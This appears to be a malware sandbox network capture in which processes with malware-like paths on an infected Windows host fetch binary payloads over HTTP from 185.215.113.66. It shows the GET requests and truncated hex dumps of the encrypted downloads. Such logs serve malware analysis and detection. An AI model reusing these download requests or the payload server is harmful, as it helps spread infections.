May 8, 2024 15:25:34.384295940 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:25:34 GMT Content-Type: application/octet-stream Content-Length: 22272 Last-Modified: Wed, 08 May 2024 11:20:38 GMT Connection: keep-alive ETag: "663b6006-5700" Accept-Ranges: bytes Data Raw: 9f 99 07 20 de 8d 44 f2 f6 13 df bc 7b 00 82 92 55 ab c0 21 68 c7 50 d3 19 59 e0 1a 73 e0 76 26 1b b0 8d 43 32 3a 53 97 36 02 bd b0 9d 94 d9 d9 e6 c8 59 cf e0 0e 72 c6 32 5a 9e 9f 97 7c cb 13 c9 e0 19 a5 09 12 87 cb ba 5b 7a e5 af 4d 86 e0 bc 1a 77 78 74 51 85 f5 3f e6 db 6b fc 38 23 e2 47 60 66 86 05 46 d4 d0 61 58 4d 7c 07 df 73 3a ff d9 2e a2 ab f2 89 a6 a5 fe 3f 10 d7 d2 54 e1 66 4c 7f c2 68 a8 2a 13 33 94 81 3c fe a8 55 4d 30 cd 47 a2 f1 35 9b 01 8a 74 b0 79 40 30 5e 56 b0 85 7c ea 4e 29 48 f8 b5 08 05 e7 2b cc 4c d6 f1 a7 9c 9d ed 33 a6 83 5c 4c ce 95 bd fb 74 2d e0 f4 7c fb 1e a8 da 7e b5 55 ad 3b 19 3b a0 c7 ff 22 a0 25 c0 02 20 9c c5 34 2b 3a 79 64 b2 1e 6b 85 de fc 1e 68 5f 98 1a f2 cf 49 c5 25 68 e5 3a 17 ab 13 f7 3b 97 e5 9b 39 16 54 78 41 b6 0c d2 97 ee 7f 2c c9 d6 d3 8c 0d 2e 2e 84 7e 43 b0 7d 2b a8 38 2a 03 a8 92 0a 7a b1 c5 c4 b4 12 c1 9b 29 d1 bd 69 42 b3 09 6c 81 d3 fc 77 f6 47 df 9f 8c 6d 12 1f 88 fb 8c 9f 6b 37 3b ec 4c 7e 36 f7 34 fa 50 ee 6a 0d 7c 09 14 68 b2 73 50 76 bc dc 4e [TRUNCATED] Data Ascii: D{U!hPYsv&C2:S6Yr2Z\|[zMwxtQ?k8#G`fFaXM\|s:.?TfLh3<UM0G5ty@0^V\|N)H+L3\Lt-\|~U;;"% 4+:ydkh_I%h:;9TxA,..~C}+8z)iBlwGmk7;L~64Pj\|hsPvN(~&rf&5a\|7{Jt\JW be)k1:Z7Np'P=Q84Dx8As.bi$56R2)K3WLZpP&&J{=.cCzhZjBB[!N>:.9v=LFC#GO\ Y6S{gf\|=zlA=R0Dqh}RN@yWhQTWTDS{9IYAfE",KUtKh)3/f4QWi#@NZ~qPp63!cEeV6T8`k?)x\]<SbA2xK? X&\|Lxvg(8YD.NL+o=(zuj2@Jj'6=m;A?<JX+K^($1i+:R2\|qnCo4jd=Gs%/'A+h"wji>*b [TRUNCATED]
May 8, 2024 15:25:34.384366989 CEST	1289	IN	Data Raw: 93 5f 6b ef 50 05 9e 69 25 3f 3f 17 47 85 2c 6b 90 92 25 c7 a4 33 c7 b4 ac 01 9f 3c 52 af 59 f7 8f 8c b2 8a 34 83 28 21 34 2c 08 b5 72 a3 55 ed 44 21 fc 8e 2b ad 22 49 d4 df 89 7f 22 e5 ce 47 01 f3 e1 b7 6a 95 90 ad a6 27 76 0c 70 18 34 86 d8 a7 Data Ascii: _kPi%??G,k%3<RY4(!4,rUD!+"I"Gj'vp494lqQ " [t%/ ,2wUJSxon2F;DI`yMis)p#{x1mWRHFpwYmv.J]%x;U'i%?^`}ihtPA
May 8, 2024 15:25:34.384497881 CEST	1289	IN	Data Raw: 1c c3 ae 56 be 98 01 6b 9c 1a 7b 08 4e 4a 39 5c 07 87 b3 5b 4f 13 bd 3b 89 f5 de 91 7a 53 87 d5 e3 12 66 87 50 62 62 19 16 47 a1 87 f9 8f 51 ef 1e 4c dd 49 0a 9c c2 51 5f ab bf 5f b4 35 c7 5a 28 84 16 e7 9a 31 36 4e dd 67 f8 5e e6 4a 7b c3 bf 40 Data Ascii: Vk{NJ9\[O;zSfPbbGQLIQ__5Z(16Ng^J{@>!HvxGA#J=$SI7l(f^43<P7Xic&mRwaRX_wj15^W:nkv0ExG"F&XI'7K7E"4 gX
May 8, 2024 15:25:34.384562016 CEST	1289	IN	Data Raw: 4f 94 78 c2 97 9b 63 5e be 60 17 93 29 44 bc d5 ec a9 b6 b4 08 90 51 3b 5d 99 88 3b 5e 0f 58 59 77 af 85 ff 08 65 fb e3 41 d7 e2 f9 54 96 02 47 8a ce 86 0b 91 33 f7 77 7b 52 57 56 74 07 cd bb f0 14 bb 02 b2 59 41 06 90 c8 43 63 75 9f 12 f7 70 b7 Data Ascii: Oxc^`)DQ;];^XYweATG3w{RWVtYACcup__BTY,q"KGCQ3c0QC/\|xB.Lv?X;Wg;cJrm%3Spc[!%dt y>yw{%dg)(Yr]srX!z
May 8, 2024 15:25:34.384706974 CEST	1289	IN	Data Raw: bb fc df 8d e3 0f af 38 97 7e 3c 5b 6a cb 09 b4 59 74 22 8d fb a9 0d f1 60 29 df 4e 90 14 35 9a 75 0a 76 65 4c b0 d5 9a 19 e2 87 dc e0 08 6c 3e d0 b6 f5 62 5c c2 fa 20 19 ef 55 b1 e0 ff 82 1b bf b5 10 12 e3 25 c3 9b 9d 61 84 57 33 23 b2 87 f1 d7 Data Ascii: 8~<[jYt"`)N5uveLl>b\ U%aW3#\|puO"^?,C5cRaCO($yf"[GH7me0_[1Da$q9&{\|oj5o6vT(eWnS-kI<ZV#~sX
May 8, 2024 15:25:34.385037899 CEST	1289	IN	Data Raw: aa 7c 5a 5d 16 d5 71 76 1e 04 c2 b4 d4 90 34 09 eb 56 cd 7d 84 8a 26 c8 b1 15 0d 92 67 ca fe b5 0f b7 5c cc 00 c7 55 08 91 20 53 0e 48 8e e0 75 2e 1a e9 cb 22 b9 eb bc 82 2c 7a 68 56 bd 3a 42 de 02 c6 de 61 ff 10 46 0a 83 2d 97 2a 29 9e 7b 31 05 Data Ascii: \|Z]qv4V}&g\U SHu.",zhV:BaF-){1:eU{TjoM{;4gb\rxa"-)K,K\Id-J\x/AT^)cv_21sc\|u7l&{oIt<'2IU;?!E<
May 8, 2024 15:25:34.385054111 CEST	1289	IN	Data Raw: ff 96 34 ff be 9f d7 1d 17 ae 97 a3 e3 1f 25 28 7f a0 76 42 96 9e 6b b3 fb 60 26 c6 18 ac ad fe b7 7a 33 c2 a5 df e6 1a 43 e0 e2 cb e8 3f 38 1c db 04 16 a1 a1 17 a5 e7 10 cb 46 d6 d5 05 02 4d 80 0d ec d3 b7 fc 89 ae ee 3c cb 96 1f cf ef 7f e1 75 Data Ascii: 4%(vBk`&z3C?8FM<ue\`O?)m<[nh7RpUT j%#0JjyAsY@Vy8jmtf"\|y#3)JG<*0YnhP,I#]a%>+Y
May 8, 2024 15:25:34.385186911 CEST	1289	IN	Data Raw: cc c0 d5 f6 76 58 dc 93 86 0a 7a 73 31 1b 86 f2 99 0b 0a c3 29 1f 18 eb 34 62 30 4f 97 68 7a a7 2b e4 dc 7f 15 02 1c 92 a5 dc 04 bc d8 80 89 c1 7d 31 8d cc 5e 00 3e d9 dd 36 a0 29 2a e4 f0 03 d2 9f fb 5e 89 a7 a8 88 0c db 7f 02 b8 4c 9a 20 b8 99 Data Ascii: vXzs1)4b0Ohz+}1^>6)^L hJL3j104-D.0(C"krOB/Wye(m?hH/"'>X,0YvMhl,]=.R~RO.qS5T{U
May 8, 2024 15:25:34.385214090 CEST	1289	IN	Data Raw: 19 89 96 e9 56 0f 9a 8c 19 b7 05 b4 27 39 21 25 b2 29 35 03 7e f7 f4 ad 75 ff 9f e3 00 20 68 f1 05 5f ae 80 44 41 3a 4f 23 2f d7 4a 79 1a 22 03 77 bd b2 c1 38 a8 21 72 fd 82 f9 23 8d bb de 86 5e 3b f3 ee 08 66 59 00 6d a4 13 79 80 f3 31 29 63 8f Data Ascii: V'9!%)5~u h_DA:O#/Jy"w8!r#^;fYmy1)cWz=9pHjje,]GcDOB)9l)VWdRyl}$C^dC$#nK/tmd}#x,<f7#[e\|/")UN+LG.ouX$Js=
May 8, 2024 15:25:34.385229111 CEST	1289	IN	Data Raw: b0 92 f6 3f 1d 3a a3 f2 72 e7 3c ab 2a 56 d3 0e 3d 84 af 84 17 ae fe f6 bf 04 fa eb a8 21 04 10 46 12 99 06 c0 53 db bb dc 0e e4 b2 22 b6 5c 5d 9c 7b 01 fa 03 3e 6e 9b 77 dc 88 bb 7a fb a2 03 db 1e 8b 86 87 65 f2 56 a1 a8 9b f0 68 45 e3 9b 87 f2 Data Ascii: ?:r<*V=!FS"\]{>nwzeVhES#n1KBCiD]p(Eqf$c&WhTos_49KJAZqRW'[LZE/+]RsLgQ_<OvqKKmL}:pfj^qh fW]
May 8, 2024 15:25:34.726495028 CEST	1289	IN	Data Raw: ae 13 d9 3c 80 95 1b 13 9e 3f c9 4c 70 f0 19 fc 72 a9 9d 72 9d 76 2d af 9d 78 f3 f8 ea f0 1a 30 30 f2 bc d5 d3 68 75 96 42 e1 16 bf 93 0f ed bd b7 9c 3a 47 ce 12 12 56 20 bf 54 2c 55 54 a9 64 4b e6 87 6a 07 a1 d0 67 f7 7d 50 da fd f5 9c 78 6d fc Data Ascii: <?Lprrv-x00huB:GV T,UTdKjg}PxmZyo!DaH,1$DSP<*J2m-Fhr&:O(d?QhBQ<Mh_)p"b,~b[KWZ5f:Gz}j[6,gXiR6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	49790	185.215.113.66	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:25:36.574939013 CEST	167	OUT	GET /_2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:25:36.916764021 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:25:36 GMT Content-Type: application/octet-stream Content-Length: 9224 Last-Modified: Tue, 07 May 2024 18:30:40 GMT Connection: keep-alive ETag: "663a7350-2408" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 cc da 9c ef c1 96 97 c6 a6 fa 74 6e 9a a2 42 84 a8 83 88 1a b9 20 6d 57 1d 32 de db 10 4c 8c be 23 3a d0 0d 1a 7e 97 fc 31 4d da 46 81 5c 54 e1 4f ef 9c d7 8b 98 6d cf f6 fc 2f dd d0 3c e7 eb c9 01 dd 87 63 83 9d a7 ab c6 43 be 3b 55 fd 37 91 4c 34 55 8e 4d 2c 25 a9 37 be 5a c3 2f 4e eb de d4 96 5b 64 b4 cc 09 be 82 dd 50 f1 6f 53 e9 5c 18 4d ab a1 d8 5c 05 72 55 d1 39 79 8e 8f c0 92 cc a4 84 42 44 84 55 98 8d 35 a7 71 dd f3 7d cc 69 c7 1d ff 18 43 cb a8 42 76 bb da 5a 79 5d 6b c2 c5 f9 3a f6 e3 61 14 36 11 23 7d 5d 3b 29 e1 32 8f c8 5e 22 a3 94 cf 93 1b ce 69 76 8d 1a d6 b4 4e 17 c2 fc 6d 6f 5f 41 00 87 00 c1 5f 00 7a 90 23 9a 51 7e 6e ae bf 1f e4 d0 d3 05 f0 fc 12 6f 78 c3 a9 ca 71 9f 03 b0 4a 07 64 51 21 79 73 30 e4 81 db c9 bd 32 2d 2e 4e bb 64 35 3a 1e 08 41 ed 8e f2 82 df ca 88 fb cf 5a a9 2c 73 62 1a 32 e0 1d 0a 32 b4 69 31 73 bd 7a f9 be 30 a8 54 da ec 30 fb 26 08 4e 51 27 6a 3c b8 81 1a 42 af 5b 2e 70 90 d0 0b 79 f6 84 99 ba 95 ff f0 e9 82 3b 1b ec 96 ae 48 14 95 a7 [TRUNCATED] Data Ascii: NGS!tnB mW2L#:~1MF\TOm/<cC;U7L4UM,%7Z/N[dPoS\M\rU9yBDU5q}iCBvZy]k:a6#}];)2^"ivNmo_A_z#Q~noxqJdQ!ys02-.Nd5:AZ,sb22i1sz0T0&NQ'j<B[.py;H0<yKk6G\lNC=ct{MsThZXlT?S/Q0LfZW,Mif \AMF'bhlJ>xI2ZXeG)W8'QLTc=>Dw,NM?0N"!2 `_j8`Fy$D7EjYO&$b.o+zNANMeuumeBV5(%VhRYtNL(2=;DpsubxAl\|s,d2-E`pw *vh+GO> IngxCmFh{2Z7\|k\|`{E#&VV)A>G>#(#,#>KXF=p"iehp7wmt,TNUI~,~iP~V}flj7z_RJLdYKj<yDVTmT@G=GEQlk>nQi^a4\|Qp^<r49xLv_ [TRUNCATED]
May 8, 2024 15:25:36.916779041 CEST	1289	IN	Data Raw: c2 0b 7f 53 28 72 18 a7 0b ee 55 6f cb 3d 74 0d 0f 24 2a d4 e2 5e f1 11 0b 67 be e2 a9 95 d4 e3 1a 8a 33 c3 fb 3a 06 e7 5d 63 2c a9 76 a4 40 5b 95 94 55 4e 4f 9d 58 43 89 59 bb 37 cc 7f 1f 27 11 42 25 58 d1 91 c5 11 5e 4d dc 47 c6 41 78 cc c4 9f Data Ascii: S(rUo=t$^g3:]c,v@[UNOXCY7'B%X^MGAx-,-El4oc[Tp-%!Ch2)U]Rs;c2E-:-lO~i:2FM3vT&\|\|,A0&(,dT{[{>q87tP_V
May 8, 2024 15:25:36.916794062 CEST	1289	IN	Data Raw: 0a 77 7f 18 36 b7 b6 91 f6 e6 01 f7 fb 10 50 4a 85 63 ef 94 f5 60 b5 c8 06 c8 3d 64 69 da a8 6d 30 32 bf 1e 29 ff 8e c7 b9 25 0e f1 a7 27 9c 08 3d 52 af 70 5d 92 9b c2 a7 1b ca 81 72 a0 4e a1 bd 92 d3 71 a2 66 e1 25 b1 70 36 c3 d0 df c7 b3 11 ca Data Ascii: w6PJc`=dim02)%'=Rp]rNqf%p6/f ^v8M4E@jX5'3A!c@jW]l\|7dqsG8v^f']MKhR1HVE&9pX6@n4VX3DNi
May 8, 2024 15:25:36.916894913 CEST	1289	IN	Data Raw: 2a 80 d4 70 56 39 70 59 4d 0f e5 66 e8 46 12 cf 0a fe df f4 7c 25 6d 8f ac d6 8c 63 e2 2c af d7 d4 f1 79 23 96 79 70 f7 15 71 bf 22 00 5f b0 b7 32 f5 4d 1d cc 3f 86 c7 00 fa 71 80 a2 6f 15 92 cb d2 09 07 bf 39 61 4a 6d 1f f0 cf 9a b2 82 28 c8 65 Data Ascii: pV9pYMfF\|%mc,y#ypq"_2M?qo9aJm(eXpv=,a6o[C%9=cg78xpN&xh[l6R?LdL .[</.`;&1R/Q
May 8, 2024 15:25:36.916908026 CEST	1289	IN	Data Raw: a4 9d aa 76 a5 5b 73 c6 19 e8 80 c3 a4 48 a8 85 ca 88 43 82 67 d3 d6 66 0d 7a 36 34 64 b8 83 cc 98 a4 67 cf 4e 4f 4c 68 80 0c 75 9a 0c 85 a3 9c a5 bd 4a bc ea 47 7f b8 71 b4 9d a0 7b 9b 68 85 84 2c 86 b1 1b 7c 8a 14 67 c6 41 95 51 ff 3e 18 83 6f Data Ascii: v[sHCgfz64dgNOLhuJGq{h,\|gAQ>o5{91GaBJRq!_fRy*QCRWLbdTs@/ENA5)d{# o`k_<AiHqN,6eH )LTn^Qnyap)SaM
May 8, 2024 15:25:36.916920900 CEST	1289	IN	Data Raw: 57 ab c1 04 01 4b 78 e6 fc e2 60 39 58 67 cd 41 fc 8a 98 51 b7 4e 6b 4a 3f 87 57 5b 23 21 30 63 d3 6c 63 28 b8 9d ad 2a f5 dc 9b 65 17 ea 19 98 63 fc 8a 0d a7 60 46 fe bc 00 2c d3 b0 d9 d7 df 54 e5 97 00 01 e8 bb 31 c9 86 36 56 69 db 80 e2 55 b0 Data Ascii: WKx`9XgAQNkJ?W[#!0clc(*ec`F,T16ViUt[1"Y!?n{T\,\|q=q/0T?\QIjcv(JHJdc7-{-sc>d!ql#LqlrvD;`-w/IO:
May 8, 2024 15:25:36.917057991 CEST	1289	IN	Data Raw: 87 d2 44 52 54 d0 7c d3 ef bf 7d 15 8c 05 3e 44 a3 62 eb a9 16 ee 0a e7 ea b7 a4 36 c3 dd c3 ee cf 88 56 4c 2c e5 fd 02 ae 51 65 dc 04 6f dc 97 ca e5 49 9f 6a 7c b1 6c bb b7 39 b1 02 59 2f 47 11 1d c1 f7 34 ba c1 23 0c a5 17 8c cb 01 63 77 22 31 Data Ascii: DRT\|}>Db6VL,QeoIj\|l9Y/G4#cw"1A~.<ZBoD"`(W;`T73-"pI;Igk"DryYwDZMU(RRV)H:Z:{{5\rBn}oIq_7,>h.tV{r
May 8, 2024 15:25:36.917071104 CEST	465	IN	Data Raw: b3 d0 ab 1f 76 29 d1 74 b5 bf 97 38 a1 3e ac 4f 49 3d 20 20 c9 37 69 05 0b 00 02 b6 94 ee e9 61 47 a0 4c 0a 82 8b 91 eb 0c e8 22 83 fc 35 a8 61 47 af 8f 8f f9 0f 41 de 32 73 ff a9 08 b6 33 d9 ff a5 0e cc fc a2 24 bc 6c 9f 31 c5 e1 cc a1 02 e7 fc Data Ascii: v)t8>OI= 7iaGL"5aGA2s3$l1<ce uUK[OZL,NQLm]r.IDaKs%l!KHtqqbQ=sIIsmVd5ZY]X7uzEnSVNsp$!wmB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	49791	185.215.113.66	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:25:36.746490955 CEST	166	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:25:37.087049007 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:25:36 GMT Content-Type: application/octet-stream Content-Length: 8960 Last-Modified: Mon, 06 May 2024 15:56:03 GMT Connection: keep-alive ETag: "6638fd93-2300" Accept-Ranges: bytes Data Raw: 6e 7d d2 5f ce 4a 45 f2 2e c8 0a 06 01 ad 79 a1 63 76 36 9c 33 9d 4c 75 74 4a ce 78 8a 3c ef f0 d5 e4 b0 26 52 79 67 45 ad 70 d3 3a 4b 36 01 0e c6 16 f8 71 c8 1a 6a e2 64 71 7e b1 1a b9 f6 f8 f9 38 23 3c 26 8e 19 a9 67 be 75 d4 b0 b3 ee 7e 56 8d c9 d6 b2 19 08 98 9c 62 5d 08 84 18 e0 a4 81 52 52 f1 22 2d 57 91 35 b1 be bf 00 34 54 15 7a 9f 37 5a 41 a7 67 fd f5 f0 19 bc cb 4d 5d 3b 33 55 47 d7 29 48 84 09 d2 35 61 aa 27 75 84 62 9b 91 c9 fc d8 ab f6 d3 13 57 89 3f 95 ab 64 63 e7 73 c5 5e 05 a5 42 e3 0f 60 42 17 f5 88 3b 8c 25 27 7a 85 fa 04 37 4a f5 68 71 6d 2b 8a 84 61 c2 56 01 36 4f f4 55 cc fc 6b ff 18 a6 02 24 ce 28 d3 a3 ee 8d ef d1 4b 66 64 4b 50 7b ae d7 0c db 98 be e6 d7 4d 22 0d 84 e4 73 47 48 6f f3 f6 ce cb 17 4c 5d f2 e4 99 c3 e4 ef b5 2d 3d 28 e3 2f c2 fc a5 dc 8a c6 15 02 ae 33 6c f0 40 61 05 5b 9c 9f a9 81 6f 78 43 b8 d7 ca 55 ea 3c 2d c6 35 ea e5 78 8b 82 f5 67 d9 dc eb 87 ef 5c 2a 3d 82 67 a4 20 42 ba a1 a9 6e 52 5a b2 74 d1 ff 58 7d 97 69 5f d5 2e dd 2d 9b 94 06 26 3a 55 d4 63 0c 97 [TRUNCATED] Data Ascii: n}_JE.ycv63LutJx<&RygEp:K6qjdq~8#<&gu~Vb]RR"-W54Tz7ZAgM];3UG)H5a'ubW?dcs^B`B;%'z7Jhqm+aV6OUk$(KfdKP{M"sGHoL]-=(/3l@a[oxCU<-5xg\=g BnRZtX}i_.-&:UcRSTud^3n<YyiiIetwjEJIe9n[~RTz~-g eKqBga-2bgeG\Kk-M5668Gjj+N<"AY<A0PMXZdlLPVevy2lHS2>Nn<p5q7Rpet \w\3]OzWt\<7$Z/BNeoq#q4V5r0%)-`9u%:oF8Li~}WJ3VV0}4tVT[O+27Gt!rn<DI3KI=0FlLW~^'.Am~U<lab+GIJrKEf`.0t}0^"q';1q1?n=:NOrsGDjw_Hi`DkkHjAfi\&y57v~$~H [TRUNCATED]
May 8, 2024 15:25:37.087101936 CEST	1289	IN	Data Raw: f7 94 da 7b e6 b6 fe 0f a6 64 19 c2 ef 0c 25 ba 8a dc 2e e0 30 f4 54 50 75 d1 a6 f4 59 1c b4 b9 d6 5d ff c8 5e 3e 5b 07 7a 96 73 9b ae 22 d8 6b 94 c6 57 3e d8 71 a6 7b 47 b5 fd bf db f8 4c d1 a0 dc 40 6d 3e 69 9d 81 d1 0a 59 7c bc 21 67 cc 11 6c Data Ascii: {d%.0TPuY]^>[zs"kW>q{GL@m>iY\|!gl.8D4JG?x/\@D;=(-Z!fH^;7\|+$=zzC-dyfm3UW:eZP}c\i[^]:_((<E26+W]
May 8, 2024 15:25:37.087224960 CEST	1289	IN	Data Raw: 36 b6 60 d6 42 d5 be b8 10 0f 5e 53 6b 05 0c bb e0 3a fd c1 4c da c6 b2 ce 72 f2 28 ff e2 e4 db da 87 14 d0 4f 41 0e 55 57 fa be d2 25 4d 12 33 a4 70 68 6c 6c 2b a3 44 06 79 cc 95 93 eb 72 2a b2 f0 3b de cd b0 3a c3 dc 34 b8 c3 7d 7f 3e 04 b4 75 Data Ascii: 6`B^Sk:Lr(OAUW%M3phll+Dyr;:4}>u)xAr\IAc:X1v".&9>^Q!4D "Ifh`(^+O1YPMZk(*x6nsclZ28_o0 k@!HuyA
May 8, 2024 15:25:37.087462902 CEST	1289	IN	Data Raw: 93 f1 1e 94 53 39 c9 d2 e2 09 21 6e 04 82 7e 50 d7 b3 b4 7a 0f 0c 6e f7 f3 72 9f 81 e7 4f 18 63 7d f3 82 53 8a c0 24 d3 f8 5f e5 bf 54 41 82 a4 fd fd 43 2d f5 13 2e c4 5b 9d f3 91 c6 f4 2e 55 bd e6 d6 75 a2 c3 d0 94 74 c8 cb 28 b6 dc f0 93 b5 29 Data Ascii: S9!n~PznrOc}S$_TAC-.[.Uut()w~oLYj=e\|qRaf;\o*FsJUS~T,om^&)Nh0/(Fy0qC4AOPp/iP?b4k"/8:V,p#$S=+
May 8, 2024 15:25:37.087486982 CEST	1289	IN	Data Raw: 33 51 0b bf 02 90 7d ae a0 4a f2 d7 4e 24 7a af 58 7f 8c 57 b1 0b ba f7 ad e3 5e a3 5c e2 17 41 70 26 55 dd e1 15 18 42 00 13 72 95 8a e6 0e bd 09 e1 cc 12 1d 94 48 d8 7f 9a a1 3a f8 a8 cd 4e 93 44 96 32 4d c1 d3 0f 72 e9 7c 3f f8 63 58 4c c1 64 Data Ascii: 3Q}JN$zXW^\Ap&UBrH:ND2Mr\|?cXLdydQ]X4&S{81eJE0]'k?mvv@Z\|Bm9+7qd=Sf&x5h_VS>i2J(I-#$4V0
May 8, 2024 15:25:37.087502003 CEST	1289	IN	Data Raw: 75 f2 a4 6e 8c 81 1a ce 92 da 4e 55 fe 12 bc 9a 1d 07 16 a6 2c bb f4 14 e5 47 0e 5a ef 01 75 2d ca 7b 4a 24 d7 7f 58 3b f8 05 9d ad 36 f6 0e 9b 79 24 3d a3 86 9b 25 40 e7 93 e1 8a 71 37 ce 6a e1 85 1b d8 41 0b 62 b1 13 8e f5 76 e9 fe 55 d1 d5 ad Data Ascii: unNU,GZu-{J$X;6y$=%@q7jAbvU#i=a=7C(qPt]:u0-/G3n~ulB41Qtxp{-Mu8H_8`<,d(,rh8zG30J<W@zb
May 8, 2024 15:25:37.087527990 CEST	1289	IN	Data Raw: 22 8e fe 4a ef 62 4e fb 52 d3 10 f6 27 c8 5a 0d 9d 1d 25 85 59 6d 73 a2 2f f1 99 3c 63 a3 86 05 ed 4f 9d 19 fc 5b 79 4c 9c 5d b0 b8 13 8f c1 7b f3 b0 4b c7 c7 1a 66 c4 e8 67 59 56 e9 a8 38 19 67 57 78 8a eb f9 39 3e 92 c1 ed 14 f1 fe 1f 11 e3 ac Data Ascii: "JbNR'Z%Yms/<cO[yL]{KfgYV8gWx9>_tM~Q^>%\-WTTNzroS5]j9G$J,)govS8}BeW9kF,};P.2AE$!t`Gnx\pB
May 8, 2024 15:25:37.087543964 CEST	201	IN	Data Raw: 81 31 21 d8 8e 36 78 b3 2d 82 77 69 8a df 7e 62 18 45 06 17 54 88 d6 0a 13 39 f8 83 01 5f 60 e5 2f e2 a3 e1 ad 97 41 c3 f3 ff 04 87 45 be a8 6c b3 32 c4 02 f6 a3 27 6b b3 e7 12 44 a7 58 da 60 98 22 14 cc 06 3f 84 e5 8b 84 0c 98 a8 be 53 a5 2f 6a Data Ascii: 1!6x-wi~bET9_`/AEl2'kDX`"?S/jeUA?bkXwY;HzObN6<2%8bp2ePK1f:Kd$\kvjZz,{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	49792	185.215.113.66	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:25:39.337002993 CEST	167	OUT	GET /_3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:25:39.677988052 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:25:39 GMT Content-Type: application/octet-stream Content-Length: 9224 Last-Modified: Tue, 07 May 2024 18:30:44 GMT Connection: keep-alive ETag: "663a7354-2408" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 cc da 9c ef c1 96 97 c6 a6 fa 74 6e 9a a2 42 84 a8 83 88 1a b9 20 6d 57 1d 32 de db 10 4c 8c be 23 3a d0 0d 1a 7e 97 fc 31 4d da 46 81 5c 54 e1 4f ef 9c d7 8b 98 6d cf f6 fc 2f dd d0 3c e7 eb c9 01 dd 87 63 83 9d a7 ab c6 43 be 3b 55 fd 37 91 4c 34 55 8e 4d 2c 25 a9 37 be 5a c3 2f 4e eb de d4 96 5b 64 b4 cc 09 be 82 dd 50 f1 6f 53 e9 5c 18 4d ab a1 d8 5c 05 72 55 d1 39 79 8e 8f c0 92 cc a4 84 42 44 84 55 98 8d 35 a7 71 dd f3 7d cc 69 c7 1d ff 18 43 cb a8 42 76 bb da 5a 79 5d 6b c2 c5 f9 3a f6 e3 61 14 36 11 23 7d 5d 3b 29 e1 32 8f c8 5e 22 a3 94 cf 93 1b ce 69 76 8d 1a d6 b4 4e 17 c2 fc 6d 6f 5f 41 00 87 00 c1 5f 00 7a 90 23 9a 51 7e 6e ae bf 1f e4 d0 d3 05 f0 fc 12 6f 78 c3 a9 ca 71 9f 03 b0 4a 07 64 51 21 79 73 30 e4 81 db c9 bd 32 2d 2e 4e bb 64 35 3a 1e 08 41 ed 8e f2 82 df ca 88 fb cf 5a a9 2c 73 62 1a 32 e0 1d 0a 32 b4 69 31 73 bd 7a f9 be 30 a8 54 da ec 30 fb 26 08 4e 51 27 6a 3c b8 81 1a 42 af 5b 2e 70 90 d0 0b 79 f6 84 99 ba 95 ff f0 e9 82 3b 1b ec 96 ae 48 14 95 a7 [TRUNCATED] Data Ascii: NGS!tnB mW2L#:~1MF\TOm/<cC;U7L4UM,%7Z/N[dPoS\M\rU9yBDU5q}iCBvZy]k:a6#}];)2^"ivNmo_A_z#Q~noxqJdQ!ys02-.Nd5:AZ,sb22i1sz0T0&NQ'j<B[.py;H0<yKk6G\lNC=ct{MsThZXlT?S/Q0LfZW,Mif \AMF'bhlJ>xI2ZXeG)W8'QLTc=>Dw,NM?0N"!2 `_j8`Fy$D7EjYO&$b.o+zNANMeuumeBV5(%VhRYtNL(2=;DpsubxAl\|s,d2-E`pw *vh+GO> IngxCmFh{2Z7\|k\|`{E#&VV)A>G>#(#,#>KXF=p"iehp7wmt,TNUI~,~iP~V}flj7z_RJLdYKj<yDVTmT@G=GEQlk>nQi^a4\|Qp^<r49xLv_ [TRUNCATED]
May 8, 2024 15:25:39.678095102 CEST	1289	IN	Data Raw: c2 0b 7f 53 28 72 18 a7 0b ee 55 6f cb 3d 74 0d 0f 24 2a d4 e2 5e f1 11 0b 67 be e2 a9 95 d4 e3 1a 8a 33 c3 fb 3a 06 e7 5d 63 2c a9 76 a4 40 5b 95 94 55 4e 4f 9d 58 43 89 59 bb 37 cc 7f 1f 27 11 42 25 58 d1 91 c5 11 5e 4d dc 47 c6 41 78 cc c4 9f Data Ascii: S(rUo=t$^g3:]c,v@[UNOXCY7'B%X^MGAx-,-El4oc[Tp-%!Ch2)U]Rs;c2E-:-lO~i:2FM3vT&\|\|,A0&(,dT{[{>q87tP_V
